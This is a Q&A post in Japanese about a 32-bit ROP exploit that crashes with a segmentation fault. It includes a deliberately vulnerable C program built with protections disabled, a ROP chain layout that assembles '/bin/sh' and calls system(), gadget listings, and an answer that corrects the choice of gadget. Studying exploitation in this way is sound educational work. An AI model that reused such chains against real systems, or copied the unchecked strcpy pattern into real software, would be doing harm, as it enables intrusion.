私のROPエクスプロイトは、未知の理由でセグメンテーション違反でクラッシュします。これは脆弱なコードです(コマンドgcc h2.c -no-pie -fno-stack-protector -m32 -o h2
でコンパイル):
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char string[100];
void exec_string() {
system(string);
}
void add_bin(int magic) {
if (magic == 0xdeadbeef) {
strcat(string, "/bin");
}
}
void add_sh(int magic1, int magic2) {
if (magic1 == 0xcafebabe && magic2 == 0x0badf00d) {
strcat(string, "/sh");
}
}
void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}
int main(int argc, char** argv) {
string[0] = 0;
vulnerable_function(argv[1]);
return 0;
}
私はこの例に従いました: https://medium.com/@nikhilh20/return-oriented-programming-rop-chaining-def0677923ad
さらに、pop pop ret
パターンの適切なガジェットはありません(実際にはpop [some reg] pop ebp ret
があり、スタックとLeave命令でガジェットをめちゃくちゃにしています)。
私はエクスプロイトに対して2つの異なるスタックパディングを試しました。最初のパディングは、上記で提供したリンクのプライマーと同じです。 2つ目は(上-上位アドレス、下-下位アドレス)です。
address of exec_string
garbage value
0x0badf00d
0xcafebabe
add esp 8; pop ebx; ret <-- gadget
address of add_sh
0xdeadbeef
pop; ret gadget <-- gadget
address of add_bin <-- compromised instruction pointer after BoF
AAAA
....
112 'A's to overflow the buffer and overwrite ebp (108 + 4)
....
AAAA
add esp, 8; pop ebx; ret
ガジェットについて説明しましょう。 add_shからexec_string関数への呼び出しをチェーンするためのpop [some reg]; pop [some reg, not ebp]; ret
のようなガジェットはないため、少しハックを作ってみました。 add esp, 8; pop ebx; ret
ガジェットを選択して0xcafebabe
と0x0badf00d
をadd esp,8
からポップアウトし、次にpop ebx
を介してガベージの参照されていない値をポップアウトしてからret
exec_stringに。まったく機能すると思いますか?私が間違っていたら訂正してください。
さらに、デバッグを開始すると、次のような結果になります。
かっこいい、私は命令ポインタを所有しているように見えます。それにジャンプしてROPチェーンを開始するには、それをadd_bin関数アドレスに置き換える必要があります。
0x91c2b1c2のSIGSEGV?正しいadd_binアドレスを入力しました。ASLR、PIEとカナリアが無効になっています。多分vulnerable_functionが取得する文字列への未定義の参照があると思いましたが、上記のリンクのプライマーでは無視されたため、非常に混乱しました。
この問題を修正すれば、成功すると思います。
gef➤ ropper --search pop
[...]
0x0804901e: pop ebx; ret;
0x080491c4: pop edi; pop ebp; ret;
[...]
この場合、これらのガジェットはスタックを「混乱させる」ことはありません。オーバーフローの後で少しクリーンアップして、チェーン内の次の関数に戻ることができるようにします。代わりに選択したガジェットはcloseですが、8ではなくadd esp, 4
にするか、追加のpop
を使用しないでください。デバッガーでステップ実行すると、その理由がわかります。
したがって、代わりに上記のpop; pop; ret
を使用してください。